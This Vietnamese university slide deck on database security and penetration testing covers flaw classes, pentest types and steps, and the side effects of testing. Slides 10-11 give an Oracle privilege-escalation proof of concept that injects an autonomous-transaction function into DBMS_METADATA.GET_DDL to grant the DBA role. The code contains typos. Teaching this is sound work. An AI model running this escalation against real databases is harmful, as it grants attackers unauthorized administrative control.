25
Nguyễn Thanh Tùng Khoa Khoa học & Kỹ thuật Máy tính Đại học Bách khoa TPHCM 1 DATABASE SECURITY 29/12/2012

SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Embed Size (px)

Citation preview

Page 1: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Nguyễn Thanh Tùng

Khoa Khoa học & Kỹ thuật Máy tính

Đại học Bách khoa TPHCM

1

DATABASE SECURITY

29/12/2012

Page 2: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Nội dung

29/12/2012 SBS 2012 2

Lỗ hổng bảo mật trong cơ sở dữ liệu

Pentesting

Mô hình Housing service provider

Hiệu ứng phụ trong pentesting

Page 3: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Lỗ hổng bảo mật

3

Lỗ hổng bảo mật (security flaw) là tập hợp những điều

kiện mà cho phép một kẻ xấu tấn công làm vi phạm

những chính sách bảo mật một cách tường minh hoặc

ngầm.

29/12/2012

Page 4: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Lỗ hổng bảo mật trong DBMS

29/12/2012 SBS 2012 4

dbms_jvm_exp_perms

owbrepos_owner.wb_olap_aw_remove_solve_id

ctxsys.drvxtabc.Create_Tables

sys.lt.CompressWorkspace

sys.lt.MergeWorkspace

sys.lt.RemoveWorkspace

xdb.xdb_pitrig_pkg

xdb.xdb_pitrig_pkg.pitrig_truncate

xdb.xdb_pitrig_pkg.pitrig_drop

dbms_assert

Page 5: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Phân loại lỗ hổng bảo mật CSDL

SBS 2012 5

Database security flaws

System security settings

Audit settings

System configuration

Users/Accounts

Password policy

Account settings

Privileges/Roles

Roles Privileges

Packages/ Procedures/ Functions

29/12/2012

Page 6: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Nội dung

29/12/2012 SBS 2012 6

Lỗ hổng bảo mật trong cơ sở dữ liệu

Pentesting

Mô hình Housing service provider

Hiệu ứng phụ trong pentesting

Page 7: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Pentesting

SBS 2012 7

Pentesting là một kỹ thuật giả lập sự tấn công nhằm

đánh giá độ bảo mật của hệ thống máy tính, mạng,

hoặc cơ sở dữ liệu.

Phân tích hệ thống một cách chủ động để tìm ra bất kỳ

điểm yếu, lỗ hổng về bảo mật.

Người đặc tả pentesting như một kẻ tấn công thật sự để

phân tích, khai thác những lỗ hổng bảo mật của hệ

thống.

Tấn công thành công chứng tỏ có lỗ hổng trong hệ

thống và ngược lại.

29/12/2012

Page 8: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Phân loại pentesting

SBS 2012 8

Information base

Black box

White box

Grey box

Aggressiveness

Passive

Cautious

Calculated

Aggressive

Scope

Full

Limited

Focused

Starting point

Inside

Outside

29/12/2012

Page 9: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Minh họa pentesting

SBS 2012 9

Tạo user giả lập tấn công

create user NORMAL_USER identified by normaluser;

grant CREATE SESSION to NORMAL_USER;

grant CREATE PROCEDURE to NORMAL_USER;

grant EXECUTE ON

SYS.DBMS_METADATA.GET_DDL to

NORMAL_USER;

29/12/2012

Page 10: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Minh họa pentesting

SBS 2012 10

Giả lập tấn công vào database orcl bằng tài khoản giả lập vừa tạo

Connect Normal_user/normaluser@orcl;

CREATE OR REPLACE FUNCTION "NORMAL_USER"."ATTACK_FUNC" return vachar2

authid current_user as

pragma autonomous_transaction;

BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO NORMAL_USER';

COMMIT;

RETURN '';

END;

/

BEGIN SELECT SYS.DBMS_METADATA.GET_DDL('''||NORMAL_USER.ATTACKER_FUNC()||''','') FROM dual;

END;

/

29/12/2012

Page 11: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Minh họa pentesting

SBS 2012 11

Kiểm tra việc tấn công: connect system/adM1N27@orcl;

declare num NUMBER;

begin select count(*) into num from DBA_ROLE_PRIVS where granted_role = 'DBA' and grantee = 'NORMAL_USER';

If (num > 1) Then

DBMS_OUTPUT.PUTLINE('RISK AT DBMS_METADATA.GET_DDL()');

END IF

end;

/

Khôi phục lại trạng thái ban đầu: drop user NORMAL_USER CASCADE;

exit;

29/12/2012

Page 12: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Các bước trong pentesting

SBS 2012 12

1 • Lập kế hoạch và chuẩn bị

2 • Thu thập thông tin và phân tích

3 • Xác định các lỗ hổng

4 • Giả lập tấn công

5 • Phân tích và báo cáo

6 • Khôi phục trạng thái ban đầu

29/12/2012

Page 13: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Các bước trong Pentesting

SBS 2012 13

Client

1. Planning & Preparation

2. Information gathering

Target database

5. Analysis & Reporting

3. Vulnerability detection

4. Penetration attempt

6. Cleaning up

Scanning server

Developer

29/12/2012

Page 14: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

29/12/2012 SBS 2012 14

Page 15: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Nội dung

29/12/2012 SBS 2012 15

Lỗ hổng bảo mật trong cơ sở dữ liệu

Pentesting

Mô hình Housing service provider

Hiệu ứng phụ trong pentesting

Page 16: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Mô hình Housing service provider

29/12/2012 SBS 2012 16

Client

Client A’ DB

Client A’s server

Client B’ DB

Client B’s server

Housing provider

Network

<HTTP, SOAP, SSL>

Page 17: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Nội dung

29/12/2012 SBS 2012 17

Lỗ hổng bảo mật trong cơ sở dữ liệu

Pentesting

Mô hình Housing service provider

Hiệu ứng phụ trong pentesting

Page 18: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Database

security

Bảo mật thông tin trong cơ sở dữ liệu liên quan đến

việc đảm bảo dữ liệu an toàn ở bốn khía cạnh sau:

Hiệu ứng phụ trong Pentesting

SBS 2012 18 29/12/2012

Page 19: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Tính bí mật

SBS 2012 19

Pentester

Target database

Information gathering

Sensitive information:

IP address, port,

Database name,…

29/12/2012

Page 20: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Tính toàn vẹn

SBS 2012 20

Object A

Pentesting

Access

Object A

Pentester

Normal users

29/12/2012

Page 21: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Tính sẵn sàng

SBS 2012 21

Pentester

Normal users

Target database

Pentesting

Access

29/12/2012

Page 22: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Tính chống thoái thác

SBS 2012 22

Object A

Pentesting

Attack

Object A

Pentester

Hacker

29/12/2012

Page 23: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Nội dung

29/12/2012 SBS 2012 23

Lỗ hổng bảo mật trong cơ sở dữ liệu

Pentesting

Mô hình Housing service provider

Hiệu ứng phụ trong pentesting

Page 24: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

Tài liệu tham khảo

SBS 2012 24

T.K. Dang, Q.C. Truong, P.H. Cu-Nguyen, T.Q.N. Tran, “An Extensible Framework for Detecting Database Systems Flaws”, ACOMP, Ho Chi Minh City, Vietnam, 2007.

T.K. Dang, T.T. Nguyen, T.Q.N. Tran, Q.C. Truong.: “Security Issues in Housing Service Outsourcing Model with Database Systems. Technical Report”, http://www.cse.hcmut.edu.vn/~asis, 2010.

T.Q.N. Tran, T.K. Dang, “Towards Side-Effects-free Database Penetration Testing”, Journal of Wireless Mobile Networks, Ubiquitous Computing, and Dependable Applications, ISSN 2093-5374, 1(1), 72-85, June 2010.

R. B. Natan, “How to Secure and Audit Oracle 10g, 11g”, Auerbach Publications, 2009.

D. Knox, “Effective Oracle Database 10g Security by Design”, Oracle Press, 2004.

L. David, A. Chris, H. John, G. Bill, “The Database Hacker’s Handbook: Defending Database Servers”, Wiley Publishing, 2005.

J.P. McDermot: “Attack Net Penetration Testing”. Proceedings of the workshop on new security paradigms 2000

O. M. Dahl, “Using Coloured Petri Nets in Penetration Testing”, Master’s thesis, Gjovik University College, 2005

S. Noel, L. Wang, A. Singhal, S. Jajodia, “Measuring Security Risk of Networks Using Attack Graphs”, International Journal of Next-Generation Computing, Vol. 1, No. 1, 135-147, 2010

29/12/2012

Page 25: SBC 2012 - Database Security (Nguyễn Thanh Tùng)

SBS 2012 25 29/12/2012

Thank you

Q&A